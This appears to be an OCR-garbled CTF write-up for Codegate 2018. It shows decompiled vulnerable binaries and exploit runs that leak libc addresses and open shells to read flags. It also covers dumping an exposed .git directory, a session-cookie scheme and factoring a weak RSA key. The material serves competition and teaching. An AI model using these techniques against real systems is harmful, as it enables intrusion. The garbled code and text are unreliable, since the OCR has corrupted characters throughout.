13 __isoc99_scanf("%16s", al->name);
14 al->profile = malloc(32 * v4);
15 printf("write %s's profile. (0x%X)\n", al->name, (32 * v4));
16 fflush(stdout);
17 printf(">> ");
18 fflush(stdout);
19 return input_str(al->profile, 32 * v4);

3
4
)
6 v3 = __PAIR__(a2, a3);
7
8
9
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lunsigned __int64 __fastcall edit_bowl(bowl *al)

2{

16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
sl

unsigned int v1; // ST18_4

unsigned int v3; // [rsp+1Ch] [rbp-24h]
char v4; // [rsp+20h] [rbp-20h]

unsigned __int64 v5; // [rsp+38h] [rbp-8h]

V5 = __readfsqword(@x28u);
puts(&byte_4014F4);
printf("birth : %d\n", al->birth);
vl = time(OLL);
printf("current time : %d\n", v1);
v3 = vl + al->size - al->birth;
printf("size : %d\n", v3);
printf("price : %d\n", 5 * v3);
printf("name : ¥s\n", al->name);
printf("profile : %s\n", al->profile);
puts(&byte_4014F4);
puts("[Mlodify / [Black ?");
printf(">> ");
fflush(stdout);
_-1s0c99_scanf("%19s", &v4);
if (va == "M')
{
puts("Give me new profile");
printf(">> ", &v4);
fflush(stdout);
input_str(al->profile, 32 * v3);
edit_bowl(al);
}
return __readfsqword(@x28u) A v5;

321
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stitch:~/machome/Downloads/codegate/@supermarimo$ python exploit.py k
[+] Opening connection to ch4113ng3s.codegate.kr on port 3333: Done
[*] libc_base = @0x7f5838838000

[*] malloc_hook = @x7f5838c4cb10

[*] Switching to interactive mode

[Vliew my bowls

[BJuy marimo

[S]ell marimo

[Albout

[QJuit

>> $ show me the marimo

$id

uid=1000(marimo) gid=1000(marimo) groups=1000(marimo)
$1s

flag

marimo

$ cat flag
Bui,ever'y,cat,is,mor‘e,cute,thanJhr'imo
$
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1signed __int64 __fastcall your_turn(_DWORD *al)
2{

signed __int64 result; // rax

char s; // [rsp+1@h] [rbp-Boh]

size_t n; // [rsp+Boh] [rbp-10h]

int v4; // [rsp+BCh] [rbp-4h]

v4 = 0;

memset(&s, @, @x96uLL);

puts("How many numbers do you want to take ? (1-3)");
11 n = read(@, &s, @0x190uLL);

12 write(l, &s, n);

13 putchar(10);

14 v4 = strtoul(&s, OLL, 10);

15 if ( (unsigned int)check_decision(v4) )

alr/ *al -= v4;

18 result = 1LL;

19 }

20 else

21 {

22 puts("Don't break the rules...:( ");
23 result = OLL;

24}

25 return result;
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stitch:~/machome/Downloads/codegate/@baskin$ python exploit.py k

[+] Opening connection to ch4113ng3s.codegate.kr on port 3131: Done

[*] libc_base = 140367565885440

[*] Switching to interactive mode

### This game is similar to the BaskinRobins31 game. ###

### The one that take the last match win ###

There are 31 number(s)

How many numbers do you want to take ? (1-3)
400000000000000000000a00000000000000000a0000000000000000aa00000000a0000a00aa00006aaaaaaaaaaaaaaaaaaaaaaaadaaaaaaaadaaa
addaaaadaddaaaaadddadaaaaadddaaaaaaaaaaaaaa€hx@\x00\x00\x00\x00\x@@aaaaaaaaaaaaaaaa\xa4\x124 \x00\x00

Don't break the rules...:(

$ id

uid=1000(player) gid=1000(player) groups=1000(player)

$1s

BaskinRobins31

flag

$ cat flag

ﬂig{‘[he Korean name of "Puss in boots" is "My mom is an alien"}
$
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Your tlag - 1111111111




image18.png
v45 = __readfsqword(@x28u);

strepy(s2, "0a435f46288bb5a764d13fca6c901d3750cee73fd7689ce79ef6dcOff8f380e5");
val = eLL;

v42 = eLL;

v43 = eLL;

vad = 9;

printf(&loc_4016CF + 1, argv, envp);
fgets(&s, 27, edata);
funcl(s, v13);

func2(vi3,
func3(vi4,
func4(vis,
func5(vis,

vi4);
v15);
v16);
v17);

funcé(v1i7,
func7(v19,
func8(v21, v22, v23);
func9(v23, v24, v25);
v4 = ptrace(e, OLL, 1LL, OLL);
if (v4==-1)
{

V8 = *v5;

Ve = v3 + v5[111] == @;

v5[111] += v3;

JUMPOUT(1vS, &unk_401746);
BYTEL(v4);
B

v18,
v20,

v19);
v21);

JUMPOUT (*"ag :
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int __fastcall funcl(char al, char a2)

{
if (2l * 2 % (a2 ~ al) - a2 l= Ox2A6A )
exit(1);
if (al <= @x55 || al > @xSF || a2 <= @x6@ || a2 > ex6F )
exit(1);

return puts(s);
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funcle(v2s, v26, v27);
funcll(v27, v28, v29);
func12(v29, v3e, v3l);
func13(v31, v32, v33);
func14(v33, v34, v35);
func15(v35, v36, v37);
SHA256_Init(&vil);
v6 = strlen(&s);
SHA256_Update(&vll, &s, v6);
SHA256_Final(v38, &vi1l);
for (1 =0; 1i<=31; ++1 )
sprintf(&s1[2 * 1], "%@2x"
if ( stremp(si, s2) )
exit(1);
printf(“"flag : {\" %s \"}\n"
return 9;

> v38[il);

> &s);
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=+ kuriringgkuriring -~/Desktop/GitTools/Dumper git:(master) ./citcumper.sh http://13.124.66.179/.91t/ Kuri
T

# Gitbumper is part of https://github.con/internetwache/GitTools

#

# Developed and maintained by egehaxelt from @internetwache
#

# Use at your own risk. Usage might be illegal in certain circunstances.
# only for educational purposes!
N ]

[#] Destination folder does not exist
[+] Creating Kuri/.git/

[+] Downloaded: HEAD

[-] Downloaded: objects/info/packs

[+] Downloaded: description

[+] Downloaded: config

[+] Downloaded: COMMIT_EDITHSG

[+] Downloaded: index

[-] Downloaded: packed-refs

[+] Downloaded: refs/heads/master

[-] Downloaded: refs/remotes/origin/HEAD

[-] Downloaded: refs/stash

[+] Downloaded: logs/HEAD

[+] Downloaded: logs/refs/heads/master

[-] Downloaded: logs/refs/renotes/origin/HEAD

[-] Downloaded: info/refs

[+] Downloaded: info/exclude

[+] Downloaded: objects/ab/117952cf9dbo60C337dcbo0e782171377eabob
[-] Downloaded: objects/00/00990000000999900000099000000009900000
[+] Downloaded: objects/72/949062a18d12234392c872126555cdddb83
[+] Downloaded: objects/45/340fcg4bco7d1325b1df150510d8be64163750
[+] Downloaded: objects/S6/des7c32de4736c2a0a2f50baef04e250echo0
[+] Downloaded: objects/45/c5fbods4fb225864526f4d985b9coa5ad 1bS5d
[+] Downloaded: objects/9f/211807conebf7efce7B0ce236d36ecad50635
[+] Downloaded: objects/dS/2f80c2d10ed42f2e8a7276d5ecebObaadBon7e
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- kuriringgkuriring ~/Desktop/GitTools/Dumper/Kuri git: (master) x - = checkout 7294906
Note: checking out '7294906" .

You are in ‘detached HEAD' state. You can look around, make experimental
changes and commit then, and you can discard any commits you make in this
state without impacting any branches by performing another checkout.

If you want to_create a new branch to retain comits you create, you may
do so (now or later) by using -b with the checkout command again. Example:

git checkout -b <new-branch-name>

HEAD is now at 7294906... comnit
- kuriringgkuriring ~/Desktop/GitTools/Dumper/Kuri git: (7294906) -
enc.py readme.md B
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* kuriring@kuriring -~/Desktop/GitTools/Dumper/Kurl git:(7294966) - readme.md
# algorithn for session cookie

s Basic
- general user >> usernane + user TP

- *radnintr >> adnin + 127.8.0.1
s example

- username : codegate’, TP : "211.224.255.84'
 “codegate211.224.255.84° >> (encrypt) >> setting cookiel
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» kuriringgkuriring -~/Desktop/GitTools/Dumper/Kurl git:(7294966) x |~ "." enc.py
76787c68293431367f6d632367366942
72787b682b6a7b6a336d22217128771F64782268292a652a
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FLAG

Suck Algorithm! It has duplicated keys, So Useless :;p

Encrypt the below plain textin { } with key, and Auth IT! b
ENCRYPTME{lt's_realLy nOnsen5_th4t | 5p3nt_MOney_more_7h4n_My |

Thank you for solving, please enjoy other challenges! :)

» 13.124.66.179 | session

~ 13.12466.179 | useless_session_id

w

TSR TR

[

=)

13.124.66.179

z=

i

T

05/02/2019 09:48 PM

Host only (] HE

Secure [

HITP B2 ()

=
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+ kuriringgkuriring -~/Desktop/GitTools/Dumper/Kuri git:(7294906) x ~ '/ enc.py
6678526825585475424a7b67134a155b 1 7802683152491 1327646661e47180c62782b68141945550e5a7457 762 70375278246815464d362407400179207 767
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Rank - university
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1 |J@; PLUS
2 20} [
3 0} A3 AR g
4 <@ KAIST GoN
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5 4@, | certis

Score

7270

6174

5976

5834

5494

Update

3 days ago

3 days ago

3 days ago

3 days ago

3 days ago
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stitch:~/machome/Downloads/codegate/@miro$ openssl x509 -inform der -in a.crt -noout -text | more
Certificate:
Data:
Version: 3 (0x2)
Serial Number: 18149708421998587521 (Oxfbe0b7a606242¢81)
Signature Algorithm: sha2S6WithRSAEncryption
Tssuer: C=KR, ST=Daejeon, L-Daejeon, O-Bpsec, OU=Bpsec, CN=codegate/emailAddress=codegate20188bpsec. co.kr
Validity
Not Before: Jan 29 06:55:41 2018 GMT
Not After : Jan 30 06:55:41 2028 GMT
Subject: C=KR, ST=Daejeon, L-Daejeon, O-Bpsec, OU-Bpsec, CN=codegate/emailAddress=codegate2018@bpsec.co.kr
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
Public-Key: (1025 bit)
Modulus:

4c:86:40:06: cd:58:6d:48:0b
Exponent: 65537 (0x10001)
YEAOVD extensions:
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stitch:~/machome/Downloads/codegate/@miro$ python fermats.py

[*] p is 17777324810733646969488445787976391269105128850805128551409042425916175469483806303918279424710789334026260
880628723893508382860291986009694703181381742497

[*] q is 17777324810733646969488445787976391269105128850805128551409042425916175469168770593916088768472336728042727
873643069063316671869732507795155086000807594027





